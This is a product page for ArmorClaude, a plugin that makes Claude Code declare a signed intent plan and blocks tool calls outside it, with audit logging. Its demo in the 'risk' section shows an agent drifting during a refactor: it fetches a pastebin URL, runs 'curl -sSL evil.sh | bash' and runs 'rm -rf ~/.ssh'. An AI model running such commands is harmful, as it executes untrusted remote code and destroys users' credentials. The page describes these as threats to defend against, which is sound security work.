ARMORIQ
// CLAUDE_CODE · PLUGIN

ArmorClaude

Intent-based security enforcement for Claude Code.

Every tool call Claude makes is verified against a signed intent plan before it runs. No surprises. No silent drift. Full audit trail.

View on GitHub
// one-line install$ curl -fsSL https://armoriq.ai/install_armorclaude.sh | bash
// THE_RISK

Claude acts before you can review

Claude Code is powerful. That's the problem. In a single turn it can read your configs, write to your filesystem, call external APIs, and run shell commands - all without your team knowing why.

Traditional security tools check who accessed what. They can't verify why. ArmorClaude closes that gap by binding every tool call to a declared, cryptographically signed intent plan.

Same prompt. No supervision. Quiet drift.

  1. $ claude
  2. > "Refactor the auth middleware to use cookies"
  3. ✓ Read auth/middleware.ts
  4. ✓ Edit auth/middleware.ts
  5. ✓ WebFetch https://pastebin.com/raw/abc123
  6. ✓ Bash curl -sSL evil.sh | bash
  7. ✓ Bash rm -rf ~/.ssh
  8. # session ends · no audit · no trail

Toggle cycles every 6s. Hover to hold.

// THE_SOLUTION

Claude proposes. ArmorClaude approves.

ArmorClaude binds every tool call to a signed intent plan.

Before Claude runs a tool, ArmorClaude makes Claude declare what it intends to do. Every tool call is checked against that declaration. Drift gets denied. The receipt writes itself.

// HOW_IT_WORKS
01// DECLARE

Intent plan captured

At UserPromptSubmit, Claude is asked to call register_intent_plan first. It produces a structured plan, signed with a TTL.

02// VERIFY

Every tool checked

At PreToolUse, ArmorClaude verifies the tool is in the plan, checks token TTL, evaluates policy rules, and optionally verifies CSRG Merkle proofs.

03// AUDIT

Audit log emitted

At PostToolUse, every tool result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.

// FOUR_BLOCKSwhat gets stopped
  1. 01

    Intent drift blocked

    Tool calls not in the declared plan are denied before they run.

    // PreToolUseBLOCKED
  2. 02

    Token-scoped execution

    Every session gets a signed intent token with a configurable TTL.

    // PreToolUse · tokenEXPIRED → BLOCKED
  3. 03

    PCI / PHI / PII detection

    Automatic data-class detection in tool parameters at the hook layer.

    // PreToolUse · argsPII MATCH → BLOCKED
  4. 04

    Fail-closed security

    No intent token, expired token, or planning failure means all tools are blocked.

    // any hookFAIL-CLOSED
60s
Intent TTLconfigurable, default
7
Lifecycle hooksclaude code 2.x
5 min
Time to installone-line curl
// INSTALL

Up and running in 5 minutes

// one-line installInstall with one command
install_armorclaude.sh// step 02
$ 
// alternativeOr install manually via the Claude marketplace:
claude plugin marketplace add armoriq/armorClaude
claude plugin install armorclaude@armoriq
  1. // step 01

    Check requirements

    You need Claude Code 2.x and Node.js 20+. An ArmorIQ API key is optional, local enforcement works without one.

    claude --version   # need 2.x
    node --version    # need v20+
  2. // step 03

    Verify the plugin is active

    claude plugin list
    # ❯ armorclaude@armoriq  Status: ✔ enabled
    
    claude mcp list | grep armorclaude
    # plugin:armorclaude:armorclaude-policy: ✓ Connected
  3. // step 04

    Connect to ArmorIQ (optional)

    Get a free API key at armoriq.ai. Without it, ArmorClaude still enforces local policies and intent.

    export ARMORIQ_API_KEY=your_key_here

    Or set it via /plugin → Configure → api_key inside Claude Code.

// DEEP_DIVE

Configuration, environment & policy reference

Click any row to expand. Every setting, command, and hook is documented here.

Seven Claude Code lifecycle hooks. Zero changes to your workflow.

SessionStart01

Session initialized

Prints active mode (ENFORCING / MONITOR) in context. Sets up session state and prunes stale sessions.

UserPromptSubmit02

Intent plan captured

Injects a directive telling Claude to call register_intent_plan first. Claude produces a structured plan, no extra API calls.

PreToolUse03

Every tool checked

Verifies the tool is in the plan, checks token TTL, evaluates policy rules, and optionally verifies CSRG Merkle proofs.

PostToolUse04

Audit log emitted

Every tool result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.

// EXECUTION_FLOW · seven hooks, three phasesread top to bottom
// DECLARE// VERIFY// AUDITUSER PROMPTuser inputUserPromptSubmithookIntent plan capturedregister_intent_planSigned tokenEd25519 · TTL 60sTOOL CALLclaude proposesPreToolUsehookPolicy checkdeny / allowIntent verifydrift → BLOCKEDTOOL RESULTexecuted actionPostToolUsehookAudit logsigned JWTArmorIQ IAPtamper-evidentsigned_tokenverdict
CLAUDE_CODE · PLUGIN

Ready to enforce intent in your Claude Code sessions?

Connect to ArmorIQ to get signed tokens, audit logs, and cryptographic proofs for every agent action.